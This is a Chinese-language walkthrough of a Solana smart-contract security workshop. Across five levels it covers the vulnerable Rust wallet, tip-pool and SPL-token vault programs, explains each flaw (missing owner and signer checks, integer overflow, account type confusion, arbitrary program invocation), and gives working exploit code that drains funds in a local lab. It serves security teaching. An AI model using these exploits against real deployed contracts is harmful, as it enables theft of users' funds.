跳转至

Solana Security Workshop

#web3 #blockchain #smart contract #solana #rust

Setup - Full

$ docker run --name breakpoint-workshop -p 2222:22 -p 8383:80 -e PASSWORD="password" neodymelabs/breakpoint-workshop:latest-code-prebuilt
# visit http://localhost:8383

Compiling the Contracts and Running the Exploits

  • PoC 框架代码位于 pocs 目录下
  • VSCode 中 Ctrl+Shift+B 再选择 level

  • 或通过命令行的方式

    # compile all contracts
cargo build-bpf --workspace

# run level0 exploit
RUST_BACKTRACE=1 cargo run --bin level0

  • Docker 内有部分命令缺失（e.g. bash >m<）可能导致构建失败，可在本地构建后上传

Exploit Outline

初始持有 1 SOL，目标是获得更多的 SOL

Level 0 - A First Vulnerability

  • 查看 WalletInstruction，初步了解程序的功能

    pub enum WalletInstruction {
    /// Initialize a Personal Savings Wallet
    ///
    /// Passed accounts:
    /// (1) Wallet account
    /// (2) Vault accounts
    /// (3) Authority
    /// (4) Rent sysvar
    /// (5) System program
    Initialize,
    /// Deposit
    ///
    /// Passed accounts:
    /// (1) Wallet account
    /// (2) Vault accounts
    /// (3) Money Source
    Deposit { amount: u64 },
    /// Withdraw from Wallet
    ///
    /// Passed accounts:
    /// (1) Wallet account
    /// (2) Vault accounts
    /// (3) Authority
    /// (4) Target Wallet account
    Withdraw { amount: u64 },
}

  • 程序入口点函数 processor::process_instruction 反序列化 instruction_data 并调用指定函数

    pub fn process_instruction(
    program_id: &Pubkey,
    accounts: &[AccountInfo],
    mut instruction_data: &[u8],
) -> ProgramResult {
    match WalletInstruction::deserialize(&mut instruction_data)? {
        WalletInstruction::Initialize => initialize(program_id, accounts),
        WalletInstruction::Deposit { amount } => deposit(program_id, accounts, amount),
        WalletInstruction::Withdraw { amount } => withdraw(program_id, accounts, amount),
    }
}

  • 调用其它程序可通过 invoke() 或 invoke_signed()（当需要 PDA 作为 instruction 的 signer 时）

  • withdraw 中 wallet、vault 等账户均由调用者提供，且未检查账户 wallet 的 owner，因而可以创建一个攻击者作为 authority 的 wallet 账户，从而调用 withdraw 获取 SOL

    fn withdraw(_program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult {
    let account_info_iter = &mut accounts.iter();
    let wallet_info = next_account_info(account_info_iter)?;
    let vault_info = next_account_info(account_info_iter)?;
    let authority_info = next_account_info(account_info_iter)?;
    let destination_info = next_account_info(account_info_iter)?;
    let wallet = Wallet::deserialize(&mut &(*wallet_info.data).borrow_mut()[..])?;

    assert!(authority_info.is_signer);
    assert_eq!(wallet.authority, *authority_info.key);
    assert_eq!(wallet.vault, *vault_info.key);

    if amount > **vault_info.lamports.borrow_mut() {
        return Err(ProgramError::InsufficientFunds);
    }

    **vault_info.lamports.borrow_mut() -= amount;
    **destination_info.lamports.borrow_mut() += amount;

    Ok(())
}

Exploit

fn hack(env: &mut LocalEnvironment, challenge: &Challenge) {

    // Step 0: how much money do we want to steal?
    let amount = env.get_account(challenge.vault_address).unwrap().lamports;
    // `unwrap` returns a `panic` when it receives a `None`

    // Step 1: a fake wallet with the same vault
    let hacker_wallet = level0::Wallet {
        authority: challenge.hacker.pubkey(),
        vault: challenge.vault_address,
    };
    let fake_wallet = keypair(233);
    let mut hack_wallet_data: Vec<u8> = vec![];

    hacker_wallet.serialize(&mut hack_wallet_data).unwrap();

    env.create_account_with_data(&fake_wallet, hack_wallet_data);

    // Step 2: Use fake wallet to withdraw funds from the real vault to the attacker
    let instruction = Instruction {
        program_id: challenge.wallet_program,
        accounts: vec![
            AccountMeta::new(fake_wallet.pubkey(), false),
            AccountMeta::new(challenge.vault_address, false),
            AccountMeta::new(challenge.hacker.pubkey(), true),
            AccountMeta::new(challenge.hacker.pubkey(), false),
            AccountMeta::new_readonly(system_program::id(), false),
        ],
        // add `use borsh::BorshSerialize;` to use `try_to_vec()` method
        data: level0::WalletInstruction::Withdraw { amount }.try_to_vec().unwrap(),
    };
    env.execute_as_transaction(&[instruction], &[&challenge.hacker]).print_named("Hack: hacker withdraw");
}

参考资料

Level 1 - Personal Vault

  • 相比于 Level 0，Wallet 移除了 vault，并保持了除 vault 外其它功能的一致性

    pub struct Wallet {
    pub authority: Pubkey,
}

  • withdraw 中 wallet_info、authority_info 仍然由调用者提供，且只检查 wallet 的 owner 是否为对应程序以及 wallet 中存储的 authority 与提供的 authority_info 是否匹配，并没有检查 authority_info 是否为 signer

    fn withdraw(program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult {
    msg!("withdraw {}", amount);
    let account_info_iter = &mut accounts.iter();
    let wallet_info = next_account_info(account_info_iter)?;
    let authority_info = next_account_info(account_info_iter)?;
    let destination_info = next_account_info(account_info_iter)?;
    let wallet = Wallet::deserialize(&mut &(*wallet_info.data).borrow_mut()[..])?;

    assert_eq!(wallet_info.owner, program_id);
    assert_eq!(wallet.authority, *authority_info.key);

    if amount > **wallet_info.lamports.borrow_mut() {
        return Err(ProgramError::InsufficientFunds);
    }

    **wallet_info.lamports.borrow_mut() -= amount;
    **destination_info.lamports.borrow_mut() += amount;

    wallet
        .serialize(&mut &mut (*wallet_info.data).borrow_mut()[..])
        .unwrap();

    Ok(())
}

Exploit

fn hack(env: &mut LocalEnvironment, challenge: &Challenge) {
    let amount = env.get_account(challenge.wallet_address).unwrap().lamports;

    let instruction = Instruction {
        program_id: challenge.wallet_program,
        accounts: vec![
            AccountMeta::new(challenge.wallet_address, false),
            AccountMeta::new(challenge.wallet_authority, false),
            AccountMeta::new(challenge.hacker.pubkey(), true),
            AccountMeta::new_readonly(system_program::id(), false),
        ],
        data: level1::WalletInstruction::Withdraw { amount }.try_to_vec().unwrap(),
    };
    env.execute_as_transaction(&[instruction], &[&challenge.hacker]).print_named("Hack: hacker withdraw");
}

Level 2 - Secure Personal Vault

  • 在 Level 1 的基础上，修复了 withdraw 未检查 signer 的问题

    fn withdraw(program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult {
    msg!("withdraw {}", amount);
    let account_info_iter = &mut accounts.iter();
    let wallet_info = next_account_info(account_info_iter)?;
    let authority_info = next_account_info(account_info_iter)?;
    let destination_info = next_account_info(account_info_iter)?;
    let rent_info = next_account_info(account_info_iter)?;

    let wallet = Wallet::deserialize(&mut &(*wallet_info.data).borrow_mut()[..])?;
    let rent = Rent::from_account_info(rent_info)?;

    assert_eq!(wallet_info.owner, program_id);
    assert_eq!(wallet.authority, *authority_info.key);
    assert!(authority_info.is_signer, "authority must sign!");

    let min_balance = rent.minimum_balance(WALLET_LEN as usize);
    if min_balance + amount > **wallet_info.lamports.borrow_mut() {
        return Err(ProgramError::InsufficientFunds);
    }

    **wallet_info.lamports.borrow_mut() -= amount;
    **destination_info.lamports.borrow_mut() += amount;

    wallet
        .serialize(&mut &mut (*wallet_info.data).borrow_mut()[..])
        .unwrap();

    Ok(())
}

  • 在 debug 模式下编译程序，Rust 将对整型溢出抛出异常，而在 release 模式下，Rust 将进行 two's complement wrapping，以 u8 为例，结果等同于模 \(256\)

  • 可以通过 amount 使 wallet_info 账户中的 lamports 下溢出来获取资金，并使 destination_info 账户中的 lamports 上溢出来减少其资金
    • 另外还需通过上溢出绕过检查 min_balance + amount > **wallet_info.lamports.borrow_mut()
  • 推荐使用 checked_sub、checked_add

Exploit

fn hack(env: &mut LocalEnvironment, challenge: &Challenge) {
    env.execute_as_transaction(&[level2::initialize(challenge.wallet_program, challenge.hacker.pubkey())], &[&challenge.hacker]).print_named("Hacker: initialize wallet");
    let hacker_wallet = level2::get_wallet_address(challenge.hacker.pubkey(), challenge.wallet_program);

    let min_balance = Rent::default().minimum_balance(level2::WALLET_LEN as usize);
    let amount = u64::max_value() - min_balance + 1;

    for i in 0..10 {
        env.execute_as_transaction(&[Instruction {
            program_id: challenge.wallet_program,
            accounts: vec![
                AccountMeta::new(hacker_wallet, false),
                AccountMeta::new(challenge.hacker.pubkey(), true),
                AccountMeta::new(challenge.wallet_address, false),
                AccountMeta::new_readonly(sysvar::rent::id(), false),
            ],
            data: level2::WalletInstruction::Withdraw { amount: amount + i }.try_to_vec().unwrap(),
        }], // 交易 `recent_blockhash` 相同，因而需要设置不同的参数，避免 This transaction has already been processed
        &[&challenge.hacker]).print_named(format!("Hacker: exploit {}", i).as_str());
    }

    env.execute_as_transaction(&[level2::withdraw(challenge.wallet_program, challenge.hacker.pubkey(), challenge.hacker.pubkey(), env.get_account(hacker_wallet).unwrap().lamports - min_balance)], &[&challenge.hacker]).print_named("Hacker: withdraw");
}

参考资料

Level 3 - Tip Pool

  • 查看 TipInstruction，初步了解程序的功能，任何人可以创建 TipPool 来接收 tips，资金存储在 Vault 中，withdraw 时将依据 TipPool 中存储的 value

    TipInstruction 
    pub enum TipInstruction {
    /// Initialize a vault
    ///
    /// Passed accounts:
    ///
    /// (1) Vault account
    /// (2) initializer (must sign)
    /// (3) Rent sysvar
    /// (4) System Program
    Initialize {
        seed: u8,
        fee: f64,
        fee_recipient: Pubkey,
    },
    /// Initialize a TipPool
    ///
    /// Passed accounts:
    ///
    /// (1) Vault account
    /// (2) withdraw_authority (must sign)
    /// (3) Pool account
    CreatePool,
    /// Tip
    ///
    /// Passed accounts:
    ///
    /// (1) Vault account
    /// (2) Pool
    /// (3) Tip Source
    /// (4) System program
    Tip { amount: u64 },
    /// Withdraw from Pool
    ///
    /// Passed accounts:
    ///
    /// (1) Vault account
    /// (2) Pool account
    /// (3) withdraw_authority (must sign)
    Withdraw { amount: u64 },
}

  • 两种账户类型，Vault 和 TipPool，注意到 Vault 的字段恰好能覆盖 TipPool 的字段

    • deserialize 根据给定数据类型解析，并更新 buffer，使其指向剩余字节
    pub struct TipPool {
    pub withdraw_authority: Pubkey, // Vault::creator
    pub value: u64, // Vault::fee
    pub vault: Pubkey, // Vault::fee_recipient
}

pub struct Vault {
    pub creator: Pubkey,
    pub fee: f64,
    pub fee_recipient: Pubkey,
    pub seed: u8,
}

  • withdraw 中未检查 pool_info 是否是 TipPool 类型的数据，因而可以传入 Vault 类型的数据

    fn withdraw(program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult {
    let account_info_iter = &mut accounts.iter();
    let vault_info = next_account_info(account_info_iter)?;
    let pool_info = next_account_info(account_info_iter)?;
    let withdraw_authority_info = next_account_info(account_info_iter)?;
    let mut pool = TipPool::deserialize(&mut &(*pool_info.data).borrow_mut()[..])?;

    assert_eq!(vault_info.owner, program_id);
    assert_eq!(pool_info.owner, program_id);
    assert!(
        withdraw_authority_info.is_signer,
        "withdraw authority must sign"
    );
    assert_eq!(pool.vault, *vault_info.key);
    assert_eq!(*withdraw_authority_info.key, pool.withdraw_authority);

    pool.value = match pool.value.checked_sub(amount) {
        Some(v) => v,
        None => return Err(ProgramError::InvalidArgument),
    };

    **(*vault_info).lamports.borrow_mut() -= amount;
    **(*withdraw_authority_info).lamports.borrow_mut() += amount;

    pool.serialize(&mut &mut pool_info.data.borrow_mut()[..]).unwrap();

    Ok(())
}

  • 通过 initialize 来控制 Vault 类型账户各个字段的值，并使用 Vault 类型的账户来代替 TipPool 进行 withdraw

    fn initialize(
    program_id: &Pubkey,
    accounts: &[AccountInfo],
    seed: u8,
    fee: f64,
    fee_recipient: Pubkey,
) -> ProgramResult {
    let account_info_iter = &mut accounts.iter();
    let vault_info = next_account_info(account_info_iter)?;
    let initializer_info = next_account_info(account_info_iter)?;
    let rent_info = next_account_info(account_info_iter)?;
    let rent = Rent::from_account_info(rent_info)?;
    // 使用不同的 seed 来获取不同的 vault_address
    let vault_address = Pubkey::create_program_address(&[&[seed]], program_id).unwrap();

    assert_eq!(*vault_info.key, vault_address);
    assert!(
        vault_info.data_is_empty(),
        "vault info must be empty account!"
    );
    assert!(initializer_info.is_signer, "initializer must sign!");

    invoke_signed(
        &system_instruction::create_account(
            &initializer_info.key,
            &vault_address,
            rent.minimum_balance(VAULT_LEN as usize),
            VAULT_LEN,
            &program_id,
        ),
        &[initializer_info.clone(), vault_info.clone()],
        &[&[&[seed]]],
    )?;

    let vault = Vault {
        creator: *initializer_info.key,
        fee,
        fee_recipient,
        seed,
    };

    vault.serialize(&mut &mut vault_info.data.borrow_mut()[..]).unwrap();

    Ok(())
}

  • 可增加类型字段来避免 Account Confusion

    // e.g.
pub struct TipPool {
    pub atype: u8,  // contain a unique identifier for this account type
    pub withdraw_authority: Pubkey,
    pub value: u64,
    pub vault: Pubkey,
}

Exploit

fn hack(env: &mut LocalEnvironment, challenge: &Challenge) {
    let pool: TipPool = env.get_deserialized_account(challenge.tip_pool).unwrap();
    let seed = 1;
    let hacker_vault = Pubkey::create_program_address(&[&[seed]], &challenge.tip_program).unwrap();

    env.execute_as_transaction(
        &[level3::initialize(
            challenge.tip_program,
            hacker_vault,   // new vault
            challenge.hacker.pubkey(),  // creator <-> withdraw_authority
            seed,
            pool.value as f64,  // fee <-> value
            challenge.vault_address // fee_recipient <-> vault
        )],
        &[&challenge.hacker],
    ).print_named("Hacker: initialize vault");
    env.execute_as_transaction(
        &[level3::withdraw(
            challenge.tip_program,
            challenge.vault_address,
            hacker_vault,
            challenge.hacker.pubkey(),
            pool.value,
        )],
        &[&challenge.hacker]
    ).print_named("Hacker: withdraw");
}

参考资料

Level 4 - SPL1-Token Vault

  • 每一种类型的 SPL 代币通过创建一个 mint 账户来声明，mint 账户存储代币元数据，每个 SPL 代币账户关联 mint 账户
    • Associated Token Account Program 根据用户系统账户和 mint 账户确定性地派生 SPL 代币账户。无论创建者，create_associated_token_account 的所有者都是对应用户的系统账户
    • 若 SPL 代币账户关联原生 mint（SOL），则账户 SOL 余额与代币余额保持一致

  • spl_token 在版本 3.1.1 有重要变更 👀

    // There's a mitigation for this bug in spl-token 3.1.1
// vendored_spl_token is an exact copy of spl-token 3.1.0, which doesn't have the mitigation yet
use vendored_spl_token as spl_token;

  • 对比 3.1.1 和 3.1.0 的源码2，发现版本 3.1.1 主要新增了对提供的 SPL 代币程序 ID 的检查 check_program_account(token_program_id)?;，而 token_program_id 是可控的，那么在版本 3.1.0 可以部署恶意程序来操控数据

  • 由 wallet_owner 的公钥和 wallet_program 获得程序派生地址 wallet_address，是持有 SPL 代币的账户地址

  • withdraw() 中调用了 spl_token::instruction::transfer_checked()，那么将 spl_token 指向可控程序，从而能够交换 source 和 destination

    fn withdraw(program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult {
    msg!("withdraw {}", amount);
    let account_info_iter = &mut accounts.iter();
    let wallet_info = next_account_info(account_info_iter)?;
    let authority_info = next_account_info(account_info_iter)?;
    let owner_info = next_account_info(account_info_iter)?;
    let destination_info = next_account_info(account_info_iter)?;
    let mint = next_account_info(account_info_iter)?;
    let spl_token = next_account_info(account_info_iter)?;

    let (wallet_address, _) = get_wallet_address(owner_info.key, program_id);
    let (authority_address, authority_seed) = get_authority(program_id);

    assert_eq!(wallet_info.key, &wallet_address);
    assert_eq!(authority_info.key, &authority_address);
    assert!(owner_info.is_signer, "owner must sign!");

    let decimals = mint.data.borrow()[44];

    invoke_signed(
        &spl_token::instruction::transfer_checked(
            &spl_token.key,
            &wallet_info.key,
            mint.key,
            destination_info.key,
            authority_info.key,
            &[],    // signer_pubkeys
            amount,
            decimals,
        ).unwrap(),
        &[
            wallet_info.clone(),
            destination_info.clone(),
            authority_info.clone(),
            mint.clone(),
        ],
        &[&[&[authority_seed]]],    // 当 signer_pubkeys 为空时，由 authority 签名
        // 根据 bump seed 派生出的 account_info 中的账户作为 signer
    )?;

    Ok(())
}

Exploit

// pocs/src/bin/level4.rs
fn hack(env: &mut LocalEnvironment, challenge: &Challenge) {
    let fake_spl_token_program = env.deploy_program("target/deploy/level4_poc_contract.so");
    let hacker_wallet = level4::get_wallet_address(
        &challenge.hacker.pubkey(),
        &challenge.wallet_program
    ).0;
    assert_tx_success(env.execute_as_transaction(
        &[level4::initialize(
            challenge.wallet_program,
            challenge.hacker.pubkey(),
            challenge.mint
        )], 
        &[&challenge.hacker]
    ));
    env.execute_as_transaction(
        &[Instruction {
            program_id: challenge.wallet_program,
            accounts: vec![
                AccountMeta::new(hacker_wallet, false), // wallet_info
                AccountMeta::new_readonly(level4::get_authority(&challenge.wallet_program).0, false), // authority_info
                AccountMeta::new_readonly(challenge.hacker.pubkey(), true), // owner_info
                AccountMeta::new(challenge.wallet_address, false), // destination_info
                AccountMeta::new_readonly(spl_token::id(), false), // mint
                // All the accounts that fake_spl_token_program::TransferChecked needs need to be
                // included, including the spl_token program being invoked. Since mint is not required
                // by spl_token::instruction::transfer, we use mint to include spl_token::id()
                AccountMeta::new_readonly(fake_spl_token_program, false), // spl_token
            ],
            data: level4::WalletInstruction::Withdraw { amount: sol_to_lamports(1_000_000.0) }.try_to_vec().unwrap(),
        }],
        &[&challenge.hacker]
    ).print_named("Hacker: withdraw");
}

// level4-poc-contract/src/lib.rs
use solana_program::{
    account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, program::invoke,
    pubkey::Pubkey,
};

use spl_token::instruction::{ TokenInstruction, transfer };

entrypoint!(process_instruction);

pub fn process_instruction(
    _program_id: &Pubkey,
    accounts: &[AccountInfo],
    instruction_data: &[u8],
) -> ProgramResult {
    match TokenInstruction::unpack(instruction_data).unwrap() {
       TokenInstruction::TransferChecked { amount, .. } => {
            let source = &accounts[0];
            let mint = &accounts[1];
            let destination = &accounts[2];
            let authority = &accounts[3];
            invoke(
                &transfer(
                    mint.key, // token_program_id
                    destination.key, // source_pubkey
                    source.key, // destination_pubkey
                    authority.key,  // It's already signed by the wallet program, so `invoke` is used
                    &[],
                    amount,
                ).unwrap(),
                // Order doesn't matter
                &[
                    source.clone(),
                    destination.clone(),
                    authority.clone(),
                ],
            )
        }
        _ => Ok(())
    }
}

参考资料

  1. Solana Program Library ↩

  2. https://github.com/solana-labs/solana-program-library/compare/token-v3.1.0...token-v3.1.1?diff=unified ↩

最后更新: 2023年3月8日 10:49:51
Contributors: YanhuiJessica
Pageviews:

评论